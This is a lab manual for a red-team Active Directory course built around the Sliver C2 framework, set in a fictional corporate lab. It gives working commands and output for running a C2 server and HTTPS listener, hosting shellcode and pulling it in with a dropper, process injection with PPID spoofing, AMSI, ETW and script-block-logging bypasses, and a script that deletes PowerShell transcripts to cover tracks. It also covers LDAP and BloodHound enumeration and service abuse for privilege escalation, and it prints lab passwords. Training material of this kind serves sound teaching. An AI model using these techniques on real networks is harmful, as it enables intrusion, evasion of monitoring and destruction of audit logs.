LabManual_Sliver
LabManual_Sliver
Table of Contents
Introduction ............................................................................................................7
What is Sliver ............................................................................................................................................ 7
Features .................................................................................................................................................... 8
Dependencies............................................................................................................................................ 8
Objective .................................................................................................................9
Lab objective ............................................................................................................................................. 9
Lab Prerequisites ....................................................................................................................................... 9
Foothold................................................................................................................21
Using Process Injection to invoke shellcode remotely ........................................................................ 21
Analysis using Process Hacker............................................................................................................. 23
“Bred as living shields, these slivers have proven unruly-they know they cannot be caught.”
Dependencies
Ideally, we need to use a Linux machine as the authors recommend to run the Sliver server on
Linux/MacOS (any OS except windows). We will be using Kali Linux for this lab.
Recommended/Optional Dependencies include mingw-w64 & Metasploit for using all capabilities of
the Sliver C2.
Lab Prerequisites
Use a web browser or the OpenVPN client to connect to the lab. See the “Connecting to lab” document
for more details.
All the tools used in the course are available in C:\AD\Tools on your foothold machine. Feel free to
upload and test out tools of your choice.
The lab manual uses terminology for user specific resources. For example, if you see studentx and your
user ID is student25, read studentx as student25 and so on.
PPID/PIDs will be different on each lab machine & might change on every startup, so perform Process
Injection appropriately.
Reboot the Foothold VM to try a quick fix if you find issues while performing ticket-based attacks using
tools like Rubeus.
Some tools may not produce desired output because of prior impersonation attacks, spawn new Sliver
sessions to avoid such issues.
Except the foothold machine dcorp-stdx, all other machines in the lab are reverted daily to revert to
their original known state. Make sure to save all your notes offline.
Windows Subsystem for Linux - WSL Ubuntu Core 20.04 is installed on dcorp-stdx to simulate Sliver
operations from Linux.
While copying code / commands from the lab manual, be sure to replace usernames, AES / RC4 keys etc.
in accordance with your lab instance. To Copy content, use standard CTRL + C and to Paste try CTRL + V
or Right Click (WSL Ubuntu app requires Right Click to paste).
WSL Ubuntu can be spawned from the Windows Terminal or the Ubuntu WSL app as follows.
• Spawn WSL using Ubuntu App: (Try Right Click to Paste clipboard)
• Spawn Ubuntu WSL from Windows Terminal: (Try CTRL + V to Paste clipboard)
NOTE: Since WSL is installed and sudo privileges are provided, WSL can be abused for privilege escalation
on dcorp-stdx. However, since AD abuse is the primary focus of this course, we disregard this escalation
path.
Use the Get-PSReadlineOption and note the HistorySavePath property value. This file contains the
PowerShell command history.
PS C:\> (Get-PSReadlineOption).HistorySavePath
C:\Users\studentX\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\Con
soleHost_history.txt
To search a pattern across all history files of all users run the following command in an elevated shell.
PS C:\> Select-String -Path C:\Users\*\AppData\Roaming\Microsoft\Windows\Powe
rShell\PSReadline\*. txt -Pattern 'mimikatz'
Bypass PSReadline by removing its functionality using the following command for the current session.
PS C:\> Remove-Module PSReadline
We can use either Windows Event Viewer or PowerShell in this case to see if you can find the Add-Type
command in the Microsoft-Windows-PowerShell/Operational log under event ID 4104.
PS C:\> Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' -Fil
terXPath '*[System[(EventID=4104)]]' -MaxEvents 5 | Format-Table TimeCreated,
Message -Wrap
Execute the sbloggingbypass.ps1 one-liner and verify that the bypass works after execution as follows.
PS C:\> C:\AD\Tools\sbloggingbypass.ps1
PS C:\> Get-WinEvent -FilterHashtable @{ProviderName="Microsoft-Windows-Power
Shell"; Id=4104} | Measure | % Count
6
Module Logging
This feature was introduced in Windows PowerShell 3.0 that logs pipeline execution and command
execution events. It is entirely dictated by the LogPipelineExecutionDetails property of the module.
PowerShell 5.0:
PS C:\> Get-WinEvent -LogName “windows Powershell”
While enumerating PowerShell event logs, we notice that modules have a property called
LogPipelineExecutionDetails which by default is set to “False”, the ones set to “True” have module
logging enabled.
PS C:\> Get-Module -ListAvailable | Format-Table Name, LogPipelineExecutionDe
tails
Name LogPipelineExecutionDetails
---- ---------------------------
Microsoft.PowerShell.Operation.Validation False
PackageManagement False
Pester False
PowerShellGet False
[.......snip ..... ]
After executing the above command, we couldn’t find any additional 4103 event logs.
System-Wide Transcription
The Start-Transcript cmdlet Enables transcription (console logging) for everything (powershell.exe,
PowerShell ISE, custom hosts - .NET DLL, msbuild, installutil etc.) which uses the PowerShell engine
(System.Management.Automation NameSpace/dll). Windows PowerShell 5.0 introduced nested and
system-wide transcription capabilities. This policy will automatically record all commands and output
them into log files in a directory that you specify. The directory should be created automatically.
A threat actor could simply delete transcript files to cover their tracks if the log path isn’t obscure and
there are no access controls to harden the path.
Here is a snippet to read the Transcription Logging Path from the registry and purge all transcript files.
PS C:\> $basePath = "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Tra
nscription"
if(Test-Path $basePath) {
$a = Get-ItemProperty $basePath -Name OutputDirectory | Select-Object -Ex
pandProperty OutputDirectory
If (!$?) {'Not Configured'} Else {
If (Test-Path -Path $a) {
Get-ChildItem -Path $a -Recurse |
Remove-Item -Force -Confirm:$false -Recurse
} Else {
'Log path not found.'
}
}
} Else {
'Not Configured'
}
Antimalware Scan Interface (AMSI) is ideally used to integrate applications and services with
antimalware products that provide enhanced malware protection. AMSI, allows detection of malicious
scripts regardless of input method (disk, encodedcommand, in-memory) and the provides registered
antivirus access to contents of a script before execution. You will find these alerts in the log Microsoft-
Windows-Windows Defender/Operational with event ID 1116 and 1117.
Using either Windows Event Viewer or in this case PowerShell we can find flagged sources like the
Invoke-Mimikatz command in the Microsoft-Windows-Windows Defender/Operational log under event
IDs 1116 or 1117.
PS C:\> Get-WinEvent -LogName 'Microsoft-Windows-Windows Defender/Operational
' -FilterXPath "*[System[((EventID=1116) or (EventID=1117))]]" -MaxEvents 5 |
Format-Table TimeCreated, Message -Wrap
We should use an AMSI Bypass that itself isn’t detected by defender. Some useful sources are Amsi-
Bypass-Powershell and amsi.fail. We can obfuscate the original AMSI bypass script by leveraging
tools such as Invoke-Obfuscation and chameleon to bypass detections. We will use the following
obfuscated bypass to bypass AMSI during the lab.
Run either of the batch files depending on if you have local administrator privileges or not:
RunWithPathAsAdmin.bat or RunWithRegistryNonAdmin.bat.
# Using non-admin privileges
PS C:\> C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
All that is needed to host Sliver is the sliver-server(C2 Server) and the sliver-client (C2 multiplayer client)
binaries.
The student-VM (dcorp-stdX) is used as an initial foothold (via an assumed breach scenario) and is used
to pivot onto other machines via pivots.
Only dcorp-stdX connects back to the Sliver C2 via HTTPS and all other lab machines connect back to
send C2 traffic to dcorp-stdX via TCP pivots which ultimately is relayed back by the foothold HTTPS
channel onto the Sliver C2.
Sliver C2 Setup
Sliver has been downloaded and is located at C:\AD\Tools\Sliver. Corresponding Defender Exceptions
have been added for successful compilation of beacons and implants. All tools used by Sliver can be
found at C:\AD\Tools\Sliver and generated implants at C:\AD\Tools\Sliver\Implants
Spawn a WSL Ubuntu prompt. Execute the sliver-server executable to start the Sliver C2 server.
wsluser@dcorp-studentX:~$ cd /mnt/c/AD/Tools/Sliver
wsluser@dcorp-studentX:/mnt/c/AD/Tools/Sliver$ sudo ./sliver-server
[sudo] password for wsluser: WSLToTh3Rescue!
Sliver supports multiple egress callback protocols like mTLS, DNS and HTTPS. In this case we use HTTPS
for egress callbacks. Start a HTTPS listener to listen on port 443 for C2 traffic.
NOTE: It is possible to use custom certificates for HTTPS encryption. List active egress listeners using the
jobs command.
Setup a python3 / HFS webserver on port 80 from a new Ubuntu prompt to deliver all tools, shellcode
and payloads onto the target environment from /mnt/c/AD/Tools/Sliver/Implants.
wsluser@dcorp-studentX:~$ cd /mnt/c/AD/Tools/Sliver/Implants
PPID spoofing is a technique that allows attackers to start programs with an arbitrary parent process
set. This helps attackers make it look as if their programs were spawned by another process (instead of
the one that would have spawned it if no spoofing was done) and it may help evade detections, that are
based on parent/child process relationships.
• Illegitimate and unlikely parent/child relationships can help in detection, for example
WINWORD.exe spawning a malicious rundll32.exe/cmd.exe is suspicious and a potential IOC.
• We can abuse legitimate parent/child process relationships to blend in and stay hidden for better
OPSEC. Analyzing with Process Hacker we see a common legitimate relationship with svchost.exe
launching RuntimeBroker.exe / sihost.exe / taskhostw.exe / SearchUI.exe etc. We will impersonate
such legitimate relationships to execute our injection tasks from to stay hidden.
Any other external tool that is a .NET assembly can be executed via execute-assembly and inline-
execute-assembly (Not all .NET assemblies are necessarily compatible).
execute-assembly built into Sliver allows both remote process injection via fork and run methods with
appropriate PPID spoofing along with Self-Process injection. Self-process injection supports usage of the
inbuilt AMSI and ETW bypasses.
inline-execute-assembly like execute-assembly built into Sliver was mainly created for Self-Process
injection to avoid the Fork and Run execution technique.
Under the hood most tools use LDAP queries and understanding them helps to perform active directory
enumeration/exploitation better. It gives the user the power to write custom LDAP searches if needed.
Since PowerView/SharpView are detected in the modern day, a suitable replacement to perform most
of their enumeration functionality is by using a tool that supports custom LDAP queries like StandIn and
ADSearch.
[*] Output:
[Get-DomainSearcher] search base: LDAP://DCORP-DC.DOLLARCORP.MONEYCORP.LOCAL/
DC=DOLLARCORP,DC=MONEYCORP,DC=LOCAL
[Get-DomainComputer] Using additional LDAP filter: (userAccountControl:1.2.84
0.113556.1.4.803:=8192)
[Get-DomainComputer] Get-DomainComputer filter string: (&(samAccountType=8053
06369)(userAccountControl:1.2.840.113556.1.4.803:=8192))
S-1-5-21-1874506631-3219952063-538504511
NOTE: Any tool that consecutively performs LDAP queries will cause alerts over protections like MDI and
ATP. In a real engagement it would be advised to perform such enumeration over long time intervals.
We can use a PE Loader to perform Process Injection into a target process by downloading/invoking
remotely hosted shellcode. We will be using a dropper that leverages NtAPIs to avoid detections called
NtDropper (currently closed source) to perform this using the already generated dcorp-std_https.bin
shellcode hosted using the python3/HFS webserver.
Begin by using the NtDropper dropper to invoke the shellcode hosted locally as follows.
PS C:\AD\Tools> C:\AD\Tools\Sliver\BinLoader.exe
Usage: BinLoader.exe <IP Address> <Port> <Filename>
Back on our python3 / HFS webserver we see a web request invoking dcorp-std_https.bin.
wsluser@dcorp-studentX:/mnt/c/AD/Tools/Sliver/Implants$ python3 -m http.
server 8080
[sudo] password for wsluser: WSLToTh3Rescue!
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
172.16.100.X - - [01/Jan/2024 05:10:02] "GET /dcorp-std_https.bin HTTP/1.1" 2
00 -
Examine the beacon RuntimeBroker.exe process and the modules tab to find amsi.dll is loaded in the
current process.
• Users
• Computers
• Domain Administrators
• Enterprise Administrators
Use Bloodhound to identify the shortest path to Domain Admins in the dollarcorp domain.
Find a file share where studentx has Write permissions.
Enumerating Users
Using StandIn
We begin the enumeration phase using the dcorp-stdX foothold session.
We enumerate users using StandIn along with the execute-assembly command to execute StandIn in
memory along with PPID spoofing.
• execute-assembly supports injection into a remote hosting process and injection into the current
sliver process (Self-injection). Apart from this it supports an in-built Amsi Bypass (-M) and ETW
Bypass (-E) when performing Self-injection (-i).
• To begin using execute-assembly along with our tools we need to find a suitable parent process
and migrate to it. This will allow us to use that process and spawn child processes which runs our
.NET assemblies and tooling.
[*] enumerating
To begin Active session
all usersdcorp-std_https (95516e0a-e176-4874-8fcf-50120e4b575e)
we can use LDAP queries to query all objects and their properties (refer
here[server]
to understand LDAP(dcorp-std_https)
sliver queries) using the --ldap> option followed by the query:
(&(objectCategory=person)(objectClass=user)). This LDAP query filters for objects with a matching Object
Category property as person and Object Class property as user which in short queries all USER OBJECT
types and their respective properties.
[*] Output:
[+] logoncount
|_ 65535
[+] codepage
|_ 0
[+] objectcategory
|_ CN=Person,CN=Schema,CN=Configuration,DC=moneycorp,DC=local
[+] description
|_ Built-in account for administering the computer/domain
[+] usnchanged
|_ 3404228
[..................snip. ..................]
execute-assembly:
-t, --timeout command timeout in seconds (default: 60)
-p, --process string hosting process to inject into
-P, --ppid uint parent process id (optional) (default: 0)
StandIn:
--ldap LDAP filter, can return result collection
--filter Filter results, varies based on module
--limit Limit results, varies based on module, defaults:50
We can optionally return specific properties of the queried object like the samccountname property
using the --filter argument and limit the results displayed using the --limit argument.
We can perform an AMSI and ETW bypass with execute-assembly using the -M and -E flags. Showcasing
the same command execution with the mentioned bypasses is as follows.
Note: AMSI/ETW bypasses using execute-assembly in Sliver can only be performed in the current process
(Self-Injection) and not in a remote process. Use the -i flag to perform execution within the current Sliver
beacon process. To perform an AMSI/ETW bypass in a remote process use the inject-amsi-bypass and
inject-etw-bypass commands.
[server] sliver (dcorp-std_https) > execute-assembly -i -M -E -t 80
'/mnt/c/AD/Tools/Sliver/StandIn.exe' '--ldap samaccountname=* --filter
displayname'
[*] Output:
[?] Using DC : dcorp-dc.dollarcorp.moneycorp.local
[+] LDAP search result count : 75
|_ Result limit : 50
[..................snip. ..................]
execute-assembly:
-i, --in-process Run in the current sliver process
-M, --amsi-bypass Bypass AMSI on Windows
-E, --etw-bypass Bypass ETW on Windows
Execution using the -i (--in--process) flag which avoids the Fork and Run execution technique is as
follows.
[server] sliver (dcorp-std_https) > execute-assembly -i -t 180 '/mnt/c/AD
/Tools/Sliver/StandIn.exe' '--ldap (&(objectCategory=person)(objectClass=use
r)) --limit 100'
[*] Output:
[+] logoncount
|_ 65535
[+] codepage
|_ 0
[+] description
|_ Built-in account for administering the computer/domain
[+] usnchanged
|_ 3404228
[+] instancetype
|_ 4
[+] name
|_ Administrator
[+] badpasswordtime
|_ 9/15/2022 10:57:35 AM UTC
[+] pwdlastset
|_ 2/17/2019 5:14:11 AM UTC
[+] objectclass
|_ top
|_ person
|_ organizationalPerson
|_ user
[+] badpwdcount
|_ 0
[+] samaccounttype
|_ SAM_NORMAL_USER_ACCOUNT
[..................snip. ..................]
It is advised to use execute-assembly for fork and run execution for larger .NET binaries to avoid
crashing our own Sliver implant/beacon process via Self-Injection methods. Hence for most of the tool
execution during the lab we focus on using execute-assembly with valid PPID spoofing.
To query LDAP over a single/specific object using StandIn we can use the --object argument. In this
example we query a single object which is the dcorp\administrator object using its known
samaccountname property to retrieve only it’s description and the lastlogon properties using the --filter
argument.
[server] sliver (dcorp-std_https) > execute-assembly -p explorer.exe -t 80
'/mnt/c/AD/Tools/Sliver/StandIn.exe' '--object samaccountname=administrator -
-filter lastlogon,description'
[*] Output:
[+] description
|_ Built-in account for administering the computer/domain
[+] lastlogon
|_ 9/16/2022 11:25:00 AM UTC
This also works the same with --ldap argument only difference being that the --ldap argument can be
used to perform LDAP queries over multiple objects at a time while the --object argument allows to
perform LDAP queries only over a single object.
[server] sliver (dcorp-std_https) > execute-assembly -p explorer.exe -t 80
'/mnt/c/AD/Tools/Sliver/StandIn.exe' '--ldap sam accountname=administrator --
filter lastlogon,description'
[*] Output:
[+] description
|_ Built-in account for administering the computer/domain
[+] lastlogon
|_ 9/16/2022 11:25:00 AM UTC
[*] Output:
/ | / \/ / / /_
/ /| | / / / /\ \/ _ \/ `/ / \
/ |/ /_/ / / / / /_/ / / / / / /
/_/ |_/ // /\ /\ ,_/\ /_/ /_/
Twitter: @tomcarver_
GitHub: @tomcarver16
[.........snip. .........]
ADSearch:
--users Enumerate and return all users from AD.
It is also possible to do this with a LDAP query using the --search argument and the
(&(objectCategory=person)(objectClass=user)) query as shown above using StandIn (By default selects
the cn attribute).
[server] sliver (dcorp-std_https) > execute-assembly -p explorer.exe -t 80
'/mnt/c/AD/Tools/Sliver/ADSearch.exe' '--search
"(&(objectCategory=person)(objectClass=user))"'
[*] Output:
[*] No domain supplied. This PCs domain will be used instead
ADSearch:
--search Perform a custom search on the AD server.
--attributes Attributes to be returned from the results in csv.
[..................snip. ..................]
We can query the dcorp\administrator object using a known property like the samaccountname and the
LDAP filter: (samaccountname=administrator). We can optionally return specific properties of the
object using the --attributes argument. In this case we filter to retrieve only the cn, description and the
logoncount properties.
[server] sliver (dcorp-std_https) > execute-assembly -p explorer.exe -t 80
'/mnt/c/AD/Tools/Sliver/ADSearch.exe' '--search
"(samaccountname=administrator)" --attributes cn,logoncount,description'
[*] Output:
[*] Output:
[.................snip. .................]
[*] Output:
[............snip. ..........]
[*] Output:
[+] member
|_ CN=svc admin,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
|_ CN=Administrator,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
An alternative would be to query a group for its members using the --group argument as follows.
[server] sliver (dcorp-std_https) > execute-assembly -p explorer.exe -t 80
'/mnt/c/AD/Tools/Sliver/StandIn.exe' '--group "domain admins"'
[*] Output:
[…snip…]
[+] Members
[*] Output:
To filter specific properties of the above users, use LDAP queries using the --search command and use
appropriate filters using the --attributes argument to return specific properties.
[*] Output:
[+] Members
StandIn:
--domain Domain name
--user User name
--pass Password
--group Target group
[*] LDAP://DC=moneycorp,DC=local
[*] CUSTOM SEARCH:
[*] TOTAL NUMBER OF SEARCH RESULTS: 1
[+] cn : Enterprise Admins
[+] member : CN=Administrator,CN=Users,DC=moneycorp,DC=local
ADSearch:
--domain The domain controller we are connecting to in the FQDN f
ormat
--username Attempts to authenticate to AD with the given username.
--password Attempts to authenticate to AD with the given password.
Note: Exit BloodHound once you have stopped using it as it uses good amount of RAM. You may also like
to stop the neo4j service if you are not using BloodHound.
NOTE: It is also possible to use bloodhounds --stealth option to perform enumeration in a more opsec
safe way by not querying target DCs.
[server] sliver (dcorp-std_https) > cd C:\\AD\\Tools\\Sliver
[*] C:\AD\Tools\Sliver
[*] Output:
2024-01-10T04:50:49.3433951-08:00|INFORMATION|This version of SharpHound is c
ompatible with the 5.0.0 Release of BloodHound
[.....snip...]
2024-01-10T04:52:08.8184100-08:00|INFORMATION|Saving cache with stats: 318 ID
to type mappings.
322 name to SID mappings.
2 machine sid mappings.
6 sid to domain mappings.
NOTE: It is possible to exfiltrate and download the generated BloodHound compatible zip file from a
remote system using the download command in Sliver.
As an alternative it is also possible to use the sharp-hound-3 alias by installing it from Sliver’s armoury
using the armory install sharp-hound-3 command.
We can use the data with the same Collectors with BloodHound CE. As BloodHound CE consumes high
amounts of RAM, in the lab, you only have Read-only access to a shared BloodHound CE -
https://crtpbloodhound-altsecdashboard.msappproxy.net/
This would bring you to the BloodHound CE login page. Provide the same set of credentials as above to
the BloodHound login page and you will be able to access the UI.
This instance of BloodHound CE already has the database populated. Feel free to play with the data!
Make sure to use the collector from BloodHound-4.0.3_old with UI in BloodHound-4.0.3_old. These are
not compatible with BloodHound 4.2.0.
[server] sliver (dcorp-std_https) > execute-assembly -p explorer.exe -t 120
'/mnt/c/AD/Tools/BloodHound-4.0.3_old/BloodHoun d-
master/Collectors/SharpHound.exe' '--ldapusername studentX --ldappassword J
PIzbuWHdSfq9NFr -c All'
Let’s enumerate the DACL for the Domain Admins Group using ADCollector. Specify the DACL to
enumerate using the --DACL argument and specify the Distinguished Name of the Domain Admins
group.
[server] sliver (dcorp-std_https) > execute-assembly -p explorer.exe -t 80
'/mnt/c/AD/Tools/Sliver/ADCollector.exe' '--DACL "CN=DOMAIN
ADMINS,CN=USERS,DC=DOLLARCORP,DC=MONEYCORP,DC=LOCAL"'
[*] Output:
_ _ _ _
/ \ | _ \ / | | | | _| |_ _
/ _ \ | | | | | / _ \| | |/ _ \/ |_ / _ \| |
/ \| |_| | | | (_) | | | / ( | || (_) | |
/_/ \_\ / \ \ /|_|_|\ |\ | | /\ /|_|
v3.0.1 by dev2null
- CN=DOMAIN ADMINS,CN=USERS,DC=DOLLARCORP,DC=MONEYCORP,DC=LOCAL
Authenticated Users All properties (GenericRead
[Allow])
Local System All properties (GenericAll
[Allow])
BUILTIN\Administrators CreateChild, DeleteChild, S
elf, WriteProperty, [ExtendedRight: All [Allow]], Delete, GenericRead, WriteD
acl, WriteOwner
mcorp\Enterprise Admins CreateChild, DeleteChild, S
elf, WriteProperty, [ExtendedRight: All [Allow]], GenericRead, WriteDacl, Wri
teOwner
dcorp\Domain Admins CreateChild, DeleteChild, S
[.....snip. ... ]
[*] Done!
ADCollector:
--DACL Enumerate DACL on the target object (use Distinguishe
dName)
Note: ADCollector automatically even queries interesting DACLs for the groups the user is part of
(dcorp\studentX is a member of the RDPUsers group)).
[*] Output
- DC=dollarcorp,DC=moneycorp,DC=local
- CN=ControlXUser,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
dc
orp\RDPUsers All properties (GenericAll)
-
[...............snip. ................]
[*] Done!
Multiple permissions stand out in the above diagram. Due to the membership of the RDPUsers group, the
studentx user has following interesting permissions :
- Full Control/Generic All over supportx and controlx users.
- Enrollment permissions on multiple certificate templates.
- Full Control/Generic All on the Applocked Group Policy.
[*] Output:
[?] Using DC : dcorp-dc.dollarcorp.moneycorp.local
[+] LDAP search result count : 4
|_ Result limit : 50
[*] Output:
[*] Output:
[*] Output:
Find the source for dsquery.cs from here. Dsquery can also be used to perform all standard
enumeration that StandIn and ADSearch perform using LDAP queries.
Use dsquery to perform a custom search over the StudentMachines OU by supplying it’s
distinguisedname as a Search Base/Start Node and use the -filter argument to perform a LDAP query to
query all computers in the StudentMachines OU.
accountexpires: 9223372036854775807
adspath: LDAP://CN=DCORP-STDADM,OU=DevOps,DC=dollarcorp,DC=moneycorp,DC=local
badpasswordtime: 132426575463687563
badpwdcount: 0
cn: DCORP-STDADM
codepage: 0
countrycode: 0
distinguishedname: CN=DCORP-STDADM,OU= DevOps,DC=dollarcorp,DC=moneyc
orp,DC=local
dnshostname: dcorp-stdadm.dollarcorp.moneycorp.local
dscorepropagationdata: 5/3/2020 9:04:05 AM
dscorepropagationdata: 2/26/2019 8:38:38 AM
dscorepropagationdata: 1/1/1601 12:00:01 AM
instancetype: 4
iscriticalsystemobject: False
lastlogoff: 0
lastlogon: 133080561744848387
lastlogontimestamp: 133080301217800681
localpolicyflags: 0
logoncount: 267
msds-supportedencryptiontypes: 28
name: DCORP-STDADM
objectcategory: CN=Computer,CN=Schema,CN=Configuration,DC=moneycorp,DC=local
objectclass: top
DONE
[*] Output:
[..................snip. ...............]
[*] Output:
[*] Output:
[?] Using DC : dcorp-dc.dollarcorp.moneycorp.local
[+] LDAP search result count : 1
|_ Result limit : 50
Now, copy the GPLink string from above (no square brackets, no semicolon and nothing after semicolon)
and use it below with StandIn to figure out which GPO corresponds to that GPLink attribute by using the
LDAP query: (&(objectCategory=groupPolicyContainer)(|(name={7478F170-6A0C-490C-B355-
9E4618BC785D}))). Use the --filter argument to get only the name of the GPO applied via the
displayname property as follows.
[server] sliver (dcorp-std_https) > execute-assembly -p explorer.exe -t 80
'/mnt/c/AD/Tools/Sliver/StandIn.exe' '--ldap
"(&(objectCategory=groupPolicyContainer)(|(name={7478F170-6A0C-490C-B355-
9E4618BC785D})))" --filter displayname'
[*] Output:
[?] Using DC : dcorp-dc.dollarcorp.moneycorp.local
[+] LDAP search result count : 1
|_ Result limit : 50
[?] Iterating result properties
|_ Applying property filter => displayname
[*] Output:
Now, copy the GPLink string from above (no square brackets, no semicolon and nothing after semicolon)
and use it below with ADSearch to figure out which GPO corresponds to that GPLink attribute by using
the LDAP query: (&(objectCategory=groupPolicyContainer)(|(name={7478F170-6A0C-490C-B355-
9E4618BC785D}))). Use the --attributes argument to get only the name of the GPO applied via the
displayname property as follows.
[server] sliver (dcorp-std_https) > execute-assembly -p explorer.exe -t 80
'/mnt/c/AD/Tools/Sliver/ADSearch.exe' '--search
"(&(objectCategory=groupPolicyContainer)(|(name={7478F170-6A0C-490C-B355-
9E4618BC785D})))" --attributes displayname'
[*] Output:
Since we are using a custom search base, we use DSQuery since StandIn and ADSearch do not support
custom search bases.
[server] sliver (dcorp-std_https) > execute-assembly -p explorer.exe -t 80
'/mnt/c/AD/Tools/Sliver/dsquery.exe' '*
"CN=Partitions,CN=Configuration,DC=moneycorp,DC=local" -filter
"(nETBIOSName=*)" -attr ncname'
[*] Output:
Records Found: 3
ncname
DC=dollarcorp,DC=moneycorp,DC=local
DC=moneycorp,DC=local
DC=us,DC=dollarcorp,DC=moneycorp,DC=local
DONE
[*] Output:
[*] No domain supplied. This PCs domain will be used instead
[*] LDAP://DC=dollarcorp,DC=moneycorp,DC=local
[*] CUSTOM SEARCH:
[*] TOTAL NUMBER OF SEARCH RESULTS: 3
[
{
"cn": "moneycorp.local
"flatName": "mcorp
"name": "moneycorp.local
"objectClass":
"top
"leaf",
"trustedDomain
],
"trustAttributes": 32
"trustDirection": 3,
"trustPartner": "moneycorp.local"
},
{
"cn": "us.dollarcorp.moneycorp.local",
"flatName": "us",
"name": "us.dollarcorp.moneycorp.local",
"objectClass": [
"top",
"leaf",
"trustedDomain"
],
"trustAttributes": 32,
"trustDirection": 3,
"trustPartner": "us.dollarcorp.moneycorp.local"
},
• trustAttributes: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-
adts/e9a2d23c-c31e-4a6f-88a0-6646fdb51a3c
• trustDirection: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-
adts/5026a939-44ba-47b2-99cf-386a9e674b04
For example, if the trustDirection = 3, from the above Microsoft Documentation it states that if the
trustDirection = 0x00000003 it is a BiDirectional Trust.
We can use this as a LDAP query: (trustAttributes=4) to filter out External Trusts using ADSearch for the
moneycorp.local domain as follows.
[*] Output:
[*] LDAP://DC=moneycorp,DC=local
[*] CUSTOM SEARCH:
[*] TOTAL NUMBER OF SEARCH RESULTS: 0
There are no external cross forest trusts specified for the moneycorp.local domain.
[*] Output:
[*] LDAP://DC=dollarcorp,DC=moneycorp,DC=local
[*] CUSTOM SEARCH:
[*] TOTAL NUMBER OF SEARCH RESULTS: 1
[
{
"cn": "eurocorp.local",
"flatName": "ecorp",
"name": "eurocorp.local",
"objectClass": [
"top",
"leaf",
"trustedDomain"
],
"trustAttributes": 4,
"trustDirection": 3,
"trustPartner": "eurocorp.local"
}
]
[*] LDAP://DC=eurocorp,DC=local
[*] CUSTOM SEARCH:
[*] TOTAL NUMBER OF SEARCH RESULTS: 2
[
{
"cn": "eu.eurocorp.local",
"flatName": "eu",
"name": "eu.eurocorp.local",
"objectClass": [
"top",
"leaf",
"trustedDomain"
],
"trustAttributes": 32,
"trustDirection": 3,
"trustPartner": "eu.eurocorp.local"
},
{
"cn": "dollarcorp.moneycorp.local",
"flatName": "dcorp",
"name": "dollarcorp.moneycorp.local",
"objectClass": [
"top",
"leaf",
"trustedDomain"
],
"trustAttributes": 4,
"trustDirection": 3,
"trustPartner": "dollarcorp.moneycorp.local"
}
]
• Identify a machine in the domain where studentX has local administrative access.
• Using privileges of a user on Jenkins on 172.16.3.11:8080, get admin privileges on 172.16.3.11 - the
dcorp-ci server.
[*] In medium integrity but user is a local administrator- UAC can be bypasse
d.
3. Modifiable Services
\Platform\4.18.2108.7-0\MpOav.dll"
====== AntiVirus ======
Cannot enumerate antivirus. root\SecurityCenter2 WMI namespace is not availab
le on Windows Servers
====== AppLocker ======
[...........snip. ......... ]
[...........snip. ......... ]
We can use now Stracciatella to further execute icacls to enumerate modifiable service binary
permissions for the abyssws.exe binary. Stracciatella is a PowerShell runspace from within C# (also
called SharpPick) with AMSI, Constrained Language Mode and Script Block Logging disabled at
startup.
[server] sliver (dcorp-std_https) > cd "C:\WebServer\Abyss Web Server"
[*] C:\WebServer\Abyss Web Server
abyssws.exe Everyone:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
To enumerate modifiable Unquoted Service Path permissions, we can use Stracciatella to execute icacls
over the Path of the binary as follows.
[server] sliver (dcorp-std_https)> execute-assembly -p explorer.exe -t 45
'/mnt/c/AD/Tools/Sliver/Stracciatella.exe' '-c "icacls C:\WebServer"'
[*] Output:
C:\WebServer NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
BUILTIN\Users:(I)(CI)(AD)
BUILTIN\Users:(I)(CI)(WD)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
S
Successfully processed 1 files; Failed processing 0 files
We will first abuse the AbyssWebServer service to add dcorp\studentX as a local administrator.
We will be using Sliver’s remote-sc-* commands to start, stop and reconfigure the AbyssWebServer
service the same way as the sc.exe command. Since Sliver’s remote-sc-* commands uses a COFF-
Loader via Beacon Object files all execution is performed within the current Sliver beacon process.
Begin by stopping the target service using the remote-sc-stop command.
Rechange the configuration of the AbyssWebServer service to add the current user (dcorp\studentX) to
the local administrator group.
[server] sliver (dcorp-std_https) > remote-sc-config -h
configure an existing service
Usage:
======
remote-sc-config [flags] hostname service_name binpath error_mode start_mod
e
Args:
=====
hostname string hostname to modify service on use "" for local syst
An alternative to abuse the AbyssWebServer service to get a high integrity persistent Sliver session is to
upload a Sliver service session implant replacing the original one in the service configuration.
wsluser@dcorp-studentX:~$ cd /mnt/c/AD/Tools/Sliver/Implants
Reconfigure the service as follows to execute the NtDropper along with the previously generated https
shellcode.
[server] sliver (dcorp-std_https) > remote-sc-stop -t 45 "" AbyssWebServer
[*] Successfully executed remote-sc-stop (coff-loader)
[*] Got output:
stop_service:
hostname:
servicename: AbyssWebServer
Service is already stopped.
SUCCESS.
[*] Output:
[+] Parsed Aguments:
rpc: True
smb: True
winrm: True
/bloodhound: False
/domain: dollarcorp.moneycorp.local
/ldap: servers-exclude-dc
/threads: 10
/user: [email protected]
/verbose: False
[+] Performing LDAP query against dollarcorp.moneycorp.local for all enabled
servers excluding Domain Controllers or read-only DCs...
[+] This may take some time depending on the size of the environment
[+] LDAP Search Results: 26
Status: (0.00%) 0 computers finished (+0) -- Using 22 MB RAM
[WinRM] Admin Success: DCORP-ADMINSRV.DOLLARCORP.MONEYCORP.LOCAL as studentX@
dollarcorp.moneycorp.local
Status: (96.15%) 25 computers finished (+25 0.8333333)/s -- Using 27 MB RAM
Status: (96.15%) 25 computers finished (+0 0.4166667)/s -- Using 27 MB RAM
[+] Finished enumerating hosts
[*] Output:
_ _
/ |_ _| \/ | | | | |
| | | | | \ / |_ | | _ _ | |_
